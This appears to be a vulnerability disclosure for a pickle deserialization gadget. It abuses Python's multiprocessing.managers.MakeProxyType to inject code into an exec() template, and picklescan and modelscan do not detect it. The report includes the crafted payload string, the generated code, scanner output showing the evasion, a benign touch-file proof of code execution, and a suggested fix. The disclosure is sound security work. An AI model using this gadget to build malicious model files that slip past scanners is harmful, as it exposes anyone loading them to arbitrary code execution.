Views
No views yet
multiprocessing.managers.MakeProxyTypeREDUCE arbitrary command execution via a dangerous stdlib
global that is on neither scanner's unsafe-globals blocklist.multiprocessing.managers.MakeProxyType(name, exposed) builds a proxy class by
interpolating every element of exposed (nominally "method names") raw into
an exec() template using %s:1for meth in exposed:
2 exec('''def %s(self, /, *args, **kwds):
3 return self._callmethod(%r, args, kwds)''' % (meth, meth), dic)%s substitution places meth unescaped immediately after def . A
crafted "method name" containing newlines closes that def and injects
arbitrary top-level statements that execute the moment exec() runs. Because
MakeProxyType is a plain module-level callable, a single pickle
GLOBAL multiprocessing.managers MakeProxyType + args tuple + REDUCE triggers
arbitrary code execution during pickle.load.multiprocessing (or any submodule) in
its unsafe-globals map, so both tools report the file as clean.MakeProxyType('EvilProxy', [MID]) whereMID = 'f():\n pass\nimport os\nos.system("touch /tmp/PWNED_MPTYPE_PICKLE")\ndef g'1def f():
2 pass
3import os
4os.system("touch /tmp/PWNED_MPTYPE_PICKLE") # <-- runs at exec() time
5def g(self, /, *args, **kwds):
6 return self._callmethod('f():\n ...', args, kwds)$ picklescan -p model.pkl # picklescan 1.0.5
Infected files: 0
Suspicious globals: 1 # identical bucket a benign `dict` pickle lands in
Dangerous globals: 0 # <-- NOT flagged
exit=0
$ modelscan -p model.pkl # modelscan 0.8.8
No issues found! 🎉
total_issues: 0
$ python -c "import pickle; pickle.load(open('model.pkl','rb'))"
$ ls /tmp/PWNED_MPTYPE_PICKLE
/tmp/PWNED_MPTYPE_PICKLE # *** RCE ***benign.pkl (dict([('a',1)])) yields the same picklescan verdict
(Suspicious globals: 1, Dangerous globals: 0, exit 0) — demonstrating that
picklescan applies no danger classification to the malicious global and treats
this RCE gadget identically to a harmless builtin.model.pkl — the malicious gadget (payload: touch /tmp/PWNED_MPTYPE_PICKLE)benign.pkl — benign controlbuild_poc.py — regenerates both picklesscan_evidence.txt — raw picklescan + modelscan outputmultiprocessing/multiprocessing.managers (MakeProxyType) to both
scanners' unsafe-globals maps; upstream, MakeProxyType should validate that
each exposed entry is a valid identifier before interpolating it into exec.